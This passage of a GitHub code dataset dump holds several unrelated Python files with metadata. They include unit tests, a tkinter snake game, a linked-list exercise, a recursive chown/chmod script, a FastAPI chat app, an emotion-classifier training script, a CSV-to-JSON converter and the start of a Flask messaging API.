Author name, publication name, more stuff\", \"unable to parse the author and publication. Try 'Quote - Author (Publication)', or 'Quote - Author, Publication'\"),\n (\"This-is-a quote-Author-name\", \"unable to determine which hyphen separates the quote from the author.\"),\n (\"This - is a quote - Author\", \"unable to determine which hyphen separates the quote from the author.\"),\n (\"This is a quote. - Author 'The-Rock' Last Name\", \"unable to parse the author and publication. Try 'Quote - Author (Publication)', or 'Quote - Author, Publication'\")])\ndef test__parse_quote_simple__should_raise_exception_if_not_parseable(raw_quote, error_message):\n try:\n quote, author, publication, tags = api._parse_quote_simple(raw_quote)\n pytest.fail('An exception was expected')\n except click.ClickException as exception:\n assert str(exception) == error_message\n","repo_name":"jakekugel/jotquote","sub_path":"tests/api_pytest_test.py","file_name":"api_pytest_test.py","file_ext":"py","file_size_in_byte":8129,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"42445761459","text":"from sys import platform as sys_pf\nif sys_pf == 'darwin':\n import matplotlib\n matplotlib.use(\"TkAgg\")\n\nimport unittest\n\nimport numpy.testing as np_test\n\nfrom scripts.algorithms.arima import ARIMAForecast\n\nimport platform; print(platform.platform())\nimport sys; print(\"Python\", sys.version)\nimport os\nimport pandas as pd\nimport numpy as np; print(\"NumPy\", np.__version__)\nimport scipy; print(\"SciPy\", scipy.__version__)\nimport sklearn; print(\"Scikit-Learn\", sklearn.__version__)\nimport statsmodels; print(\"Statsmodels\", statsmodels.__version__)\n\n\nclass ArimaTests(unittest.TestCase):\n\n def test_non_float_sequence(self):\n time_series = [1, 1, 1, 1, 1]\n num_predicted_periods = 3\n\n with self.assertRaises(ValueError) as cm:\n ARIMAForecast(time_series, num_predicted_periods)\n\n self.assertEqual(cm.exception.args[0], 'Time series must be all float values')\n\n def test_static_sequence(self):\n time_series = [1.0, 1.0, 1.0, 1.0, 1.0]\n num_predicted_periods = 3\n expected_prediction = [1] * num_predicted_periods\n arima = ARIMAForecast(time_series, num_predicted_periods)\n\n actual_prediction = arima.predict_counts()\n\n np_test.assert_almost_equal(actual_prediction, expected_prediction, decimal=4)\n\n def test_linear_sequence(self):\n time_series = [1.0, 2.0, 3.0, 4.0, 5.0]\n num_predicted_periods = 3\n expected_prediction = [6.0, 7.0, 8.0]\n arima = ARIMAForecast(time_series, num_predicted_periods)\n\n actual_prediction = arima.predict_counts()\n\n np_test.assert_almost_equal(actual_prediction, expected_prediction, decimal=4)\n\n def test_flakey_sequence(self):\n time_series = [20.0, -20.0]\n num_predicted_periods = 3\n expected_prediction = [np.nan] * 3\n arima = ARIMAForecast(time_series, num_predicted_periods)\n\n actual_prediction = arima.predict_counts()\n\n np_test.assert_almost_equal(actual_prediction, expected_prediction, decimal=1)\n\n def test_linearly_increasing_sequence_fuel_cell(self):\n time_series = pd.read_csv(os.path.join('data', 'fuel_cell_quarterly.csv')).values.tolist()\n time_series = [item for sublist in time_series for item in sublist]\n num_predicted_periods = 4\n expected_prediction = [333., 333., 334., 335.]\n arima = ARIMAForecast(np.array(time_series).astype(float), num_predicted_periods)\n\n actual_prediction = arima.predict_counts()\n\n np_test.assert_almost_equal(actual_prediction, expected_prediction, decimal=0)\n\n def test_linearly_decreasing_sequence_image_data(self):\n time_series = pd.read_csv(os.path.join('data', 'image_data_quarterly.csv')).values.tolist()\n time_series = [item for sublist in time_series for item in sublist]\n num_predicted_periods = 4\n expected_prediction = [562., 561., 558., 556.]\n arima = ARIMAForecast(np.array(time_series).astype(float), num_predicted_periods)\n\n actual_prediction = arima.predict_counts()\n\n np_test.assert_almost_equal(actual_prediction, expected_prediction, decimal=0)\n","repo_name":"datasciencecampus/pygrams","sub_path":"tests/algorithms/test_arima.py","file_name":"test_arima.py","file_ext":"py","file_size_in_byte":3122,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"52"} +{"seq_id":"5144854935","text":"import random\nfrom tkinter import *\n\n\n\n#Question 1.1\n\nclass Game:\n\n class Food:\n def __init__(self,game,foodSize,foodColor):\n self.game = game\n self.foodSize = foodSize\n self.foodColor = foodColor\n\n #Init first food\n self.obj = None\n self.newRandCoord()\n self.spawnFood()\n\n def newRandCoord(self):\n self.coord = (random.randint(0,self.game.width),random.randint(0,self.game.height))\n def spawnFood(self):\n self.game.gameCanvas.delete(self.obj)\n (x,y) = self.coord\n (sx,sy)=self.foodSize\n self.obj = self.game.gameCanvas.create_rectangle(x,y,x+sx,y+sy)\n self.game.gameCanvas.itemconfig(self.obj,fill=self.foodColor)\n def __del__(self):\n self.game.gameCanvas.delete(self.obj)\n class BodyPart :\n def __init__(self,coord,gameCanvas,playerSize,index):\n self.index = index\n self.gameCanvas = gameCanvas\n self.playerSize = playerSize\n #SPAWN PART\n (x,y,x2,y2) = coord\n self.obj = gameCanvas.create_rectangle(x,y,x2,y2)\n self.dirQueue = []\n def __del__(self):\n self.gameCanvas.delete(self.obj)\n\n def Enqueue(self,dir):\n #Ne pas dépasser la position de la partie dans la queue\n if(len(self.dirQueue) >= self.index):\n return\n self.dirQueue.append(dir)\n def Move(self,previousCoord):\n (dx,dy) = self.dirQueue.pop(0)\n (sx,sy) = self.playerSize\n (x1,y1,x2,y2) = previousCoord\n (gx,gy) = (dx*sx,sy*dy)\n self.gameCanvas.coords(self.obj,(x1-gx,y1-gy,x2-gx,y2-gy))\n return (dx,dy)\n\n\n def __init__(self,gameDimension,playerSize,foodSize,speed,refreshRate):\n #Assign Var\n self.foodSize = foodSize\n self.speed = speed\n self.dir = (0,0)\n self.playerSize = playerSize\n self.player = None\n self.parts = []\n self.refreshRate = refreshRate\n self.foodColor = 'red'\n\n #Init game windows and canvas\n (tempX,tempY) = gameDimension\n self.width = tempX\n self.height = tempY\n self.gameWindows = Tk()\n self.gameCanvas = Canvas(self.gameWindows,width=self.width,height=self.height)\n self.gameCanvas.pack()\n\n #Init Game\n self.ResetGame()\n\n #Event\n self.gameWindows.after(300,self.Move)\n\n #Bind Key\n self.gameWindows.bind('',self.ChangeDirection)\n self.gameWindows.bind('',self.ChangeDirection)\n self.gameWindows.bind('',self.ChangeDirection)\n self.gameWindows.bind('',self.ChangeDirection)\n\n self.gameWindows.mainloop()\n\n def ResetGame(self):\n #Remove existant\n if(self.player != None):\n self.gameCanvas.delete(self.player)\n self.parts = []\n # Init Player\n (playerSizeX, playerSizeY) = self.playerSize\n self.player = self.gameCanvas.create_rectangle(self.width // 2, self.height // 2, self.width // 2 + playerSizeX,\n self.height // 2 + playerSizeY)\n\n # Init Food\n self.food = self.Food(self, self.foodSize,self.foodColor)\n def ChangeDirection(self,evt):\n if(evt.char == 'z'):\n self.dir = (0,-1)\n if(evt.char == 's'):\n self.dir = (0,1)\n if(evt.char == 'q'):\n self.dir = (-1,0)\n if(evt.char == 'd'):\n self.dir = (1,0)\n def Move(self):\n (dx,dy) = self.dir\n (x1, y1, x2, y2) = self.gameCanvas.coords(self.player)\n (x3, y3, x4, y4) = (x1 + self.speed * dx, y1 + self.speed * dy,x2 + self.speed * dx, y2 + self.speed * dy)\n self.gameCanvas.coords(self.player, (x3, y3, x4, y4))\n\n #Refresh Body Parts\n self.EnqueueBodyPartFrom((dx,dy))\n\n #Move body part\n #self.MoveBodyPart()\n\n #Try Eat Something\n self.TryEat((x1,y1,x2,y2))\n\n #CheckDeath\n if(self.CheckDeath()):\n self.ResetGame()\n\n self.gameCanvas.after(self.refreshRate,self.Move)\n def EnqueueBodyPartFrom(self, firstDir):\n firstCoord = self.gameCanvas.coords(self.player)\n dirs = [firstDir]\n for i in range(len(self.parts)):\n for dir in dirs:\n self.parts[i].Enqueue(dir)\n if(i==0):\n dirs.append( self.parts[i].Move(firstCoord))\n else:\n dirs.append(self.parts[i].Move(self.gameCanvas.coords(self.parts[i-1].obj)))\n def MoveBodyPart(self):\n for part in self.parts:\n part.Move()\n def TryEat(self,oldPos):\n (sx, sy) = self.playerSize\n if self.CheckDistanceBetweenTwoObj(self.player, self.food.obj,sx):\n self.food = self.Food(self,self.foodSize,self.foodColor)\n\n #ADD NEW BODY PART\n (x1, y1, x2, y2) = oldPos\n part = self.BodyPart((x1,y1,x2,y2),self.gameCanvas,self.playerSize,len(self.parts) +1)\n self.parts.append(part)\n pass\n def CheckDistanceBetweenTwoObj(self,id1,id2,threahold):\n (x, y, x2, y2) = self.gameCanvas.coords(id1)\n (xp1,yp1,xp2,yp2) = self.gameCanvas.coords(id2)\n if abs(((x + x2) / 2) - ((xp1 + xp2) / 2)) < threahold and abs(((y + y2) / 2) - ((yp1 + yp2) / 2)) < threahold:\n return True\n return False\n def CheckDeath(self):\n (x1,y1,x2,y2) = self.gameCanvas.coords(self.player)\n (x,y) = ((x1+x2)//2,(y1+y2)//2)\n if(x > self.width or x<0):\n return True\n if(y > self.height or y<0):\n return True\n for part in self.parts:\n (sx,sy)=self.playerSize\n if self.CheckDistanceBetweenTwoObj(self.player,part.obj,sx/2+0.001):\n return True\n return False\n\n #TOOL\n def getGap(self):\n (dx,dy) = self.dir\n (sx,sy) = self.playerSize\n return (dx*sx,dy*sy)\n\n\ngameInstance = Game((500,300),(7,7),(7,7),6,50)\n","repo_name":"volvicfanboy/cpbxS4","sub_path":"td2.py","file_name":"td2.py","file_ext":"py","file_size_in_byte":6107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10395132380","text":"\"\"\"\n LINKED LIST\n dynamic list with links created automatically with programming approach\n\"\"\"\n\nclass song:\n pass\n\n def __init__(self,name = None,artist = None,duration = None):\n self.name = name\n self.artist = artist\n self.duration = duration\n\n # a self made function to print the song attribute in a better way\n # def show(self):\n # print(\"{name}\\t {artist}\\t {duration}\".format_map(vars(self)))\n\n # a built-in function used to print the song attributes in a better way\n def __str__(self):\n return \"{name}\\t {artist}\\t {duration}\".format_map(vars(self))\n\n\nclass LinkedList:\n\n # A variable made to calculate the size of linked list\n size = 0\n\n\n def __init__(self):\n self.head = None\n self.tail = None\n\n def append(self, object):\n\n # accessing the class attribute 'size' with the class name\n LinkedList.size += 1\n\n if self.head is None:\n\n self.head = object\n self.tail = object\n\n print(\"OBJECT ADDED AS HEAD AND TAIL\")\n\n else:\n self.tail.next = object\n object.previous = self.tail\n self.head.previous = object\n\n self.tail = object\n self.tail.next = self.head\n print(\"OBJECT ADDED AS TAIL\")\n\n\n def iterate_forward(self):\n temporary = self.head\n\n # jab tak yeh sahi h\n while True:\n # print(vars(temporary))\n\n # if using __str__ function, you have to write only variable name need not to access it.\n # it will executed automatically.\n print(temporary)\n\n # accessing show function\n # temporary.show()\n temporary = temporary.next #-> when it comes to temporary = song5.next,it goes to if loop and break bcoz song5.next = self.head\n\n if temporary is self.head:\n break\n\n # a function made to calculate the size of class Linked list\n def length(self):\n return LinkedList.size\n\n\n\ndef main():\n\n # object creation of class song\n song1 = song(\"1 Sach Keh Raha Hai\", \"John\", 4.5)\n song2 = song(\"2 Bimariyan\", \"kim\", 3.5)\n song3 = song(\"3 Permission to dance\", \"fionna\", 5.0)\n song4 = song(\"4 kal ho na ho\", \"jack\", 2.5)\n song5 = song(\"5 baarish\", \"nick\", 4.0)\n\n\n # object creation of class linked list\n play_list = LinkedList()\n print(vars(play_list))\n\n\n # add the object\n play_list.append(song1)\n play_list.append(song2)\n play_list.append(song3)\n play_list.append(song4)\n play_list.append(song5)\n\n print()\n\n # iterating the playlist to print the songs\n play_list.iterate_forward()\n\n print()\n\n # accessing length function to print the length of linked list\n print(\"Length of linked list:\", play_list.length())\n\n\n\n\n\n\n\nif __name__ == '__main__':\n main()\n\n\n\n\n","repo_name":"dikshagautam74/DG2021PY","sub_path":"Session13.py","file_name":"Session13.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30790432707","text":"import argparse\nimport pickle\nfrom os import path as osp\nfrom rlkit.core import logger\nfrom rlkit.core.repeat_logger import RepeatLogger, RepeatPlotter\nfrom rlkit.samplers.rollout_functions import multitask_rollout\nfrom rlkit.torch import pytorch_util as ptu\nfrom rlkit.envs.vae_wrapper import VAEWrappedEnv\nimport numpy as np\nimport mujoco_py\nimport pickle as pkl\n\ndef simulate_policy(args):\n # # start a useless environment incase opengl version error\n # mujoco_py.MjViewer(mujoco_py.MjSim(mujoco_py.load_model_from_path(osp.join(osp.dirname(__file__), \"Dummy.xml\"))))\n\n logger.log(\"finish adding dummy context viewer, start loading file\")\n with open(args.file, \"rb\") as f:\n data = pickle.load(open(args.file, \"rb\"))\n policy = data['evaluation/policy']\n env = data['evaluation/env']\n logger.log(\"Policy and environment loaded\")\n if args.redump:\n # re-dump the data\n with open(args.file, \"wb\") as f:\n pickle.dump(data, f)\n logger.log(\"Finish redump\")\n if args.gpu:\n ptu.set_gpu_mode(True)\n policy.to(ptu.device)\n if isinstance(env, VAEWrappedEnv) and hasattr(env, 'mode'):\n env.mode(args.mode)\n if (args.enable_render or hasattr(env, 'enable_render')) and not args.hide:\n # some environments need to be reconfigured for visualization\n logger.log(\"Enable Rendering\")\n env.enable_render()\n if args.log_dir != None:\n # time to setup logger to dump recordings to file\n # It should be safer to use absolute directory\n logger.set_snapshot_dir(osp.abspath(args.log_dir))\n logger.add_tabular_output('rollouts.csv', relative_to_snapshot_dir=True)\n success_logger = RepeatLogger(osp.join(osp.abspath(args.log_dir), 'image_success.csv'))\n vae_logger = RepeatLogger(osp.join(osp.abspath(args.log_dir), 'vae_dist.csv'))\n ag_logger = RepeatLogger(osp.join(osp.abspath(args.log_dir), 'effector2goal_distance.csv'))\n logger.log(\"Setup loggers\")\n if hasattr(env, '_goal_sampling_mode') and env._goal_sampling_mode == 'custom_goal_sampler' and env.custom_goal_sampler == None:\n # This a deep hack, to make the sample directly from env wrapped by image_env\n # ---------------- change to use presampled goal for RIG_door algorithm -------------\n # env.custom_goal_sampler = env._customed_goal_sampling_func\n # logger.log(\"Change env.custom_goal_sampler to its _customed_goal_sampling_func\")\n env._goal_sampling_mode = \"presampled\"\n paths = []\n logger.log(\"Start Rollout\")\n for ite in range(64): # incase the testing takes too much physical memory\n paths.append(multitask_rollout(\n env,\n policy,\n max_path_length=args.H,\n render=not args.hide,\n observation_key=data['evaluation/observation_key'],\n desired_goal_key=data['evaluation/desired_goal_key'],\n ))\n logger.log(\"iter %d: Finish rollout\" % ite)\n if hasattr(env, \"log_diagnostics\"):\n env.log_diagnostics(paths)\n logger.log(\"iter %d: Log diagnostics\" % ite)\n if hasattr(env, \"get_diagnostics\"):\n for k, v in env.get_diagnostics(paths).items():\n logger.record_tabular(k, v)\n logger.log(\"iter %d: Get diagnostics\" % ite)\n if args.log_dir != None:\n # this data has to be chosen by specific path field.\n success_logger.record([paths[-1]['env_infos'][i]['image_success'] for i in range(len(paths[-1]['env_infos']))])\n vae_logger.record([paths[-1]['env_infos'][i]['vae_dist'] for i in range(len(paths[-1]['env_infos']))])\n if \"effector2goal_distance\" in paths[-1]['env_infos'][0].keys():\n goal_dist = [np.linalg.norm(paths[-1]['env_infos'][i]['effector2goal_distance']) for i in range(len(paths[-1]['env_infos']))]\n ag_logger.record(goal_dist)\n with open(args.log_dir + \"2goal_dist.pkl\", \"wb+\") as f:\n pkl.dump(goal_dist, f)\n logger.log(\"iter %d: Log into files\" % ite)\n\n logger.dump_tabular()\n logger.log(\"Rollout done: # %d\" % ite)\n\n logger.log(\"Testing learning result done...\")\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n parser.add_argument('file', type=str,\n help='path to the snapshot file')\n parser.add_argument('--H', type=int, default=300,\n help='Max length of rollout')\n parser.add_argument('--speedup', type=float, default=10,\n help='Speedup')\n parser.add_argument('--mode', default='video_env', type=str,\n help='env mode')\n parser.add_argument('--gpu', action='store_true')\n parser.add_argument('--enable_render', action='store_true')\n parser.add_argument('--hide', action='store_true')\n parser.add_argument('--log_dir', type=str, default= None,\n help='Specify the log directory, no logging if not')\n parser.add_argument('--redump', action='store_true', default=False,\n help='restore the data if you need to some modification (not recommended)')\n args = parser.parse_args()\n\n simulate_policy(args)\n","repo_name":"ZiwenZhuang/rlkit","sub_path":"scripts/run_goal_conditioned_policy.py","file_name":"run_goal_conditioned_policy.py","file_ext":"py","file_size_in_byte":5270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"5936737053","text":"# Wipe content of files\n\n#with open(\"Filings/wipable.txt\", \"w\") as f:\n# f.write(\"\")\n\n#Renaming files \n\nimport os\n\noldFile = \"wipable.txt\"\nnewName = \"renamed.txt\"\n\nwith open(oldFile) as f:\n content = f.read()\n\nwith open(newName, \"w\") as f:\n f.write(content)\n\nos.remove(oldFile)\n","repo_name":"aliasar1/PythonLearning","sub_path":"Filings/WipeContentOfFileAndRename.py","file_name":"WipeContentOfFileAndRename.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34600989775","text":"import asyncio\nimport logging\nimport os\nimport random\nimport time\nfrom uuid import uuid4\n\nfrom censor import check_message_censorship\nfrom dotenv import load_dotenv\nfrom fastapi import (\n Depends,\n FastAPI,\n HTTPException,\n Request,\n Response,\n WebSocket,\n WebSocketDisconnect,\n)\nfrom fastapi.responses import RedirectResponse\nfrom fastapi.staticfiles import StaticFiles\nfrom fastapi.templating import Jinja2Templates\nfrom models import CensorRequest, Message, UserName\nfrom pydantic import ValidationError\nfrom ws import SocketManager\n\nload_dotenv()\n\nCENSOR_URL = os.getenv(\"CENSOR_URL\")\n\nif not CENSOR_URL:\n raise EnvironmentError(\"CENSOR_URL should be set\")\n\nlogger = logging.getLogger(\"uvicorn\")\napp = FastAPI()\napp.mount(\"/static\", StaticFiles(directory=\"static\"), name=\"static\")\ntemplates = Jinja2Templates(directory=\"templates\")\nmanager = SocketManager()\n\n\n@app.get(\"/\")\ndef get_home(request: Request):\n return templates.TemplateResponse(\"home.html\", {\"request\": request})\n\n\n@app.get(\"/api/current_user\")\ndef get_user(request: Request):\n return request.cookies.get(\"X-Authorization\")\n\n\n@app.get(\"/chat\")\ndef get_chat(request: Request, login: str = Depends(get_user)):\n if not login:\n return RedirectResponse(url=\"/\", status_code=303)\n return templates.TemplateResponse(\"chat.html\", {\"request\": request, \"login\": login})\n\n\n@app.post(\"/api/register\")\ndef register_user(user: UserName, response: Response):\n response.set_cookie(key=\"X-Authorization\", value=user.username, httponly=True)\n\n\n@app.websocket(\"/api/chat\")\nasync def chat(websocket: WebSocket):\n sender = get_user(websocket) # type: ignore\n if sender:\n await manager.connect(websocket, sender)\n try:\n while True:\n json_data = await websocket.receive_json()\n message_id = str(uuid4())\n message = Message(content=json_data.get(\"message\"))\n try:\n # Validate the message data using the Message model\n # Broadcast the validated message\n data = {\n \"sender\": sender,\n \"message\": message.content,\n \"message_id\": message_id,\n \"censorship_status\": \"pending\",\n }\n await manager.broadcast(data)\n except (ValidationError, ValueError) as e:\n # Handle the validation or value error\n await websocket.send_json({\"error\": str(e)})\n # Update the censorship mark based on the response\n start_time = time.time()\n censorship_response = await check_message_censorship(\n message.content, CENSOR_URL\n )\n end_time = time.time()\n latency_ms = (end_time - start_time) * 1000 # Convert to milliseconds\n logger.info(f\"Censorship check latency: {latency_ms:.2f} ms\")\n logger.info(f\"Censorship status: {censorship_response}\")\n update_data = {\n \"message_id\": message_id,\n \"censorship_status\": censorship_response,\n }\n # Broadcast the update\n await manager.broadcast(update_data)\n except WebSocketDisconnect:\n manager.disconnect(websocket, sender)\n await manager.broadcast({\"sender\": sender, \"content\": \"left\"})\n\n\n@app.post(\"/api/censor\")\nasync def fake_censor(request: CensorRequest):\n response_choice = random.choices(\n [\"Good\", \"Bad\", \"Timeout\"], weights=[40, 40, 20], k=1\n )[0]\n\n if response_choice == \"Timeout\":\n # Simulate a timeout by sleeping longer than the client is willing to wait\n await asyncio.sleep(3)\n raise HTTPException(status_code=504, detail=\"Request timed out\")\n else:\n await asyncio.sleep(0.5)\n return response_choice\n","repo_name":"DanVerh/mlops-team50-chat","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34699723629","text":"import json\nimport pickle\nfrom argparse import ArgumentParser, Namespace\nfrom pathlib import Path\nfrom typing import Dict\nfrom time import time\nfrom tqdm import tqdm\nimport os\nimport sys\nimport numpy as np\n\nimport torch\nfrom torch.utils.data import DataLoader\n\nfrom common.generators import ChunkedGenerator\nfrom common.model import EmotionClassifier\n\nTRAIN = 'train'\nVALID = 'validation'\n\ndef train(model, dataloader, optimizer, args):\n correct_train = 0\n N = 0\n progress = tqdm(total=dataloader.num_batches)\n for batch_mesh, batch_emotion in dataloader.next_epoch():\n inputs_mesh = torch.from_numpy(batch_mesh.astype('float32'))\n inputs_emotion = torch.from_numpy(batch_emotion.astype('float32'))\n inputs_mesh = inputs_mesh.to(args.device)\n inputs_emotion = inputs_emotion.to(args.device)\n optimizer.zero_grad()\n \n # train\n pred, loss = model(inputs_mesh, inputs_emotion)\n loss.backward()\n optimizer.step()\n \n # acc\n pred = pred.detach().cpu()\n gt = inputs_emotion.detach().cpu()\n \n correct_train += (pred == gt.view_as(pred)).sum().item()\n N += gt.size(0)\n progress.update(1)\n \n return correct_train / N\n\ndef evaluate(model_train_dict, model_eval, dataloader_eval, args):\n correct_eval = 0\n N = 0\n progress = tqdm(total=dataloader_eval.num_batches)\n with torch.no_grad():\n model_eval.load_state_dict(model_train_dict)\n model_eval.eval()\n for batch_mesh, batch_emotion in dataloader_eval.next_epoch():\n inputs_mesh = torch.from_numpy(batch_mesh.astype('float32'))\n inputs_emotion = torch.from_numpy(batch_emotion.astype('float32'))\n inputs_mesh = inputs_mesh.to(args.device)\n inputs_emotion = inputs_emotion.to(args.device)\n \n # evaluate\n pred, loss = model_eval(inputs_mesh, inputs_emotion)\n \n # acc\n pred = pred.detach().cpu()\n gt = inputs_emotion.detach().cpu()\n \n correct_eval += (pred == gt.view_as(pred)).sum().item()\n N += gt.size(0)\n progress.update(1)\n return correct_eval / N\n\ndef get_dataset(args, data, s):\n print(f\"processing {s} data...\")\n input = []\n gt = []\n for d in data:\n input.append(d['face_mesh'])\n gt.append(d['emotion'])\n return ChunkedGenerator(args.batch_size, input, gt, args.frame//2)\n\n\ndef main(args):\n data = np.load(args.dataset, allow_pickle=True)['data'].item()\n dataloader_train = get_dataset(args, data[TRAIN], TRAIN)\n dataloader_eval = get_dataset(args, data[VALID], VALID)\n \n model = EmotionClassifier(args.kp, args.feature_dim, args.hidden_dim, args.channels,\n args.out_dim, args.num_classes, args.using_trans).to(args.device)\n model_eval = EmotionClassifier(args.kp, args.feature_dim, args.hidden_dim, args.channels,\n args.out_dim, args.num_classes, args.using_trans).to(args.device)\n \n # number of params\n model_params = 0\n for parameter in model.parameters():\n model_params += parameter.numel()\n print('Trainable parameter count:', model_params)\n\n # init optimizer\n optimizer = torch.optim.Adam(model.parameters(), lr=args.lr, weight_decay=0.1)\n\n acc_history_train = []\n acc_history_val = []\n lr = args.lr\n best_acc = 0.\n for epoch in range(args.num_epoch):\n start_time = time()\n model.train()\n \n # Training loop\n acc_train = train(model, dataloader_train, optimizer, args)\n acc_history_train.append(acc_train)\n \n # Evaluation loop\n acc_eval = evaluate(model.state_dict(), model_eval, dataloader_eval, args)\n acc_history_val.append(acc_eval)\n \n # Saving data\n elapsed = (time() - start_time) / 60\n print('[%d] time %.2f lr %f train %f eval %f' % (\n epoch + 1,\n elapsed,\n lr,\n acc_train,\n acc_eval))\n \n if acc_eval >= best_acc:\n best_acc = acc_eval\n chk_path = os.path.join(args.checkpoint_dir, 'best.bin')\n print('Saving best checkpoint to', chk_path)\n torch.save(model.state_dict(), chk_path)\n \n # update params\n lr *= args.lrd\n for param_group in optimizer.param_groups:\n param_group['lr'] *= args.lrd\n \n chk_path = os.path.join(args.checkpoint_dir, 'final.bin')\n torch.save(model.state_dict(), chk_path)\n \n if args.export_training_curves and epoch > 1:\n if 'matplotlib' not in sys.modules:\n import matplotlib\n\n matplotlib.use('Agg')\n import matplotlib.pyplot as plt\n\n plt.figure()\n epoch_x = np.arange(1, len(acc_history_train)) + 1\n plt.plot(epoch_x, acc_history_train[1:], '--', color='C0')\n plt.plot(epoch_x, acc_history_val[1:], '--', color='C1')\n plt.legend(['train', 'eval'])\n plt.ylabel('accuracy')\n plt.xlabel('epoch')\n plt.xlim((1, epoch+1))\n plt.savefig(os.path.join(args.checkpoint_dir, 'acc.png'))\n plt.close('all')\n\n\ndef parse_args() -> Namespace:\n parser = ArgumentParser()\n parser.add_argument(\n \"--dataset\",\n type=str,\n help=\"Dataset name.\",\n default=\"./dataset/data.npz\",\n )\n parser.add_argument(\n \"--checkpoint_dir\",\n type=Path,\n help=\"Directory to save the model file.\",\n default=\"./checkpoints/\",\n )\n \n # model\n parser.add_argument(\"--frame\", type=int, default=27)\n parser.add_argument(\"--kp\", type=int, default=34)\n parser.add_argument(\"--feature_dim\", type=int, default=3)\n parser.add_argument(\"--hidden_dim\", type=int, default=256)\n parser.add_argument(\"--channels\", type=int, default=1024)\n parser.add_argument(\"--out_dim\", type=int, default=64)\n parser.add_argument(\"--num_classes\", type=int, default=7)\n parser.add_argument('--using_trans', action='store_true')\n\n # optimizer\n parser.add_argument(\"--lr\", type=float, default=1e-3)\n parser.add_argument(\"--lrd\", type=float, default=0.95)\n\n # data loader\n parser.add_argument(\"--batch_size\", type=int, default=64)\n\n # training\n parser.add_argument(\n \"--device\", type=torch.device, help=\"cpu, cuda, cuda:0, cuda:1\", default=\"cuda\"\n )\n parser.add_argument(\"--num_epoch\", type=int, default=60)\n parser.add_argument(\"--export_training_curves\", type=bool, default=True)\n\n args = parser.parse_args()\n return args\n\nif __name__ == \"__main__\":\n args = parse_args()\n args.checkpoint_dir.mkdir(parents=True, exist_ok=True)\n main(args)\n","repo_name":"celt1125/3DCV-G18-final","sub_path":"emotion_cls/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13498921721","text":"import csv\nimport json\nimport argparse\n\nparser = argparse.ArgumentParser(description='Simple CSV to JSON converter')\nparser.add_argument(\"-i\", \"--input\", dest=\"input\", help=\"csv input file\", required=True)\nparser.add_argument(\"-o\", \"--output\", dest=\"output\", help=\"json output file\", required=True)\nparser.add_argument(\"-d\", \"--delimiter\", dest=\"delimiter\", help=\"Delimiter char\", default=\",\")\nargs=parser.parse_args()\n\nwith open(args.input, encoding='utf-8-sig') as f:\n reader = csv.DictReader(f, delimiter=args.delimiter)\n data = list(reader)\n with open(args.output, 'w') as outfile:\n json.dump(data, outfile, indent = 4)\n","repo_name":"oscargaciaisbanuk/csv2json","sub_path":"csv2json.py","file_name":"csv2json.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16311703901","text":"#!/usr/bin/env python3\n\nimport sys, os, pwd, grp\nimport os.path\n\n_, owner, group, dirmod, mod, *targets = sys.argv\n\nuid = pwd.getpwnam(owner).pw_uid\ngid = grp.getgrnam(group).gr_gid\n\ndirmod =int(dirmod, base=8)\nmod = int(mod, base=8)\n\nc = 0\ndef progress():\n\tglobal c\n\tc += 1\n\tif c % 1000 == 0:\n\t\tprint('.', end='', flush=True)\n\tif c % 60000 == 0:\n\t\tprint()\n\n\t\t\n\nfor target in targets:\n\tprint(dict(uid=uid, gid=gid, dirmod=oct(dirmod), mod=oct(mod), target=target))\n\tp = target\n\tos.lchown(p, uid, gid)\n\tos.lchmod(p, dirmod)\t\n\tprogress()\n\tfor dirpath, dirnames, filenames in os.walk(target):\n\t\tfor f in filenames:\n\t\t\tp = os.path.join(dirpath, f)\n\t\t\tos.lchown(p, uid, gid)\n\t\t\tos.lchmod(p, mod)\t\n\t\t\tprogress()\n\t\tfor d in dirnames:\n\t\t\tp = os.path.join(dirpath, d)\n\t\t\tos.lchown(p, uid, gid)\n\t\t\tos.lchmod(p, dirmod)\t\n\t\t\tprogress()\n\tprint()\n","repo_name":"will0/chownmodr","sub_path":"chownmodr.py","file_name":"chownmodr.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28076069289","text":"import flask\nfrom flask import request, jsonify, g, current_app\nimport sqlite3\n\n######################\n# API USAGE\n# Caddy Web server route for this API: localhost:$PORT/messages/\n# Caddy Web server PORT is set to 2015\n# --------------------\n# Send a message: Send a POST request to route of send() fn\n# Example request:\n# curl -i -X POST -H 'Content-Type:application/json' -d\n# '{\"user_from\":\"ilovedog\", \"user_to\":\"ilovecat\", \"msg_content\":\"I think dogs are better\", \"msg_flag\":\"greetings\"}'\n# http://localhost:2015/messages/send;\n# --------------------\n# Delete a message: Send a DELETE request to route of delete() fn\n# Example request:\n# curl -i -X DELETE http://localhost:2015/messages/delete?msg_id=2;\n# --------------------\n# Favorite a message: Send a POST request to route of favorite() fn\n# Example request:\n# curl -i -X POST -H 'Content-Type:application/json' http://localhost:2015/messages/favorite?msg_id=1;\n\n\n# config variables\nDATABASE = 'data.db'\nDEBUG = True\n\n######################\napp = flask.Flask(__name__)\napp.config.from_object(__name__)\n\n######################\n# Database\n# app.config.from_envvar('APP_CONFIG')\n# db_name: data.db\n\n# table1: users\n# user_id\n# username\n# email\n# karma\n\n# table2: messages\n# msg_id\n# user_from\n# user_to\n# msg_time\n# msg_content\n# msg_flag\n\n######################\n# helper function used to convert each query result row into 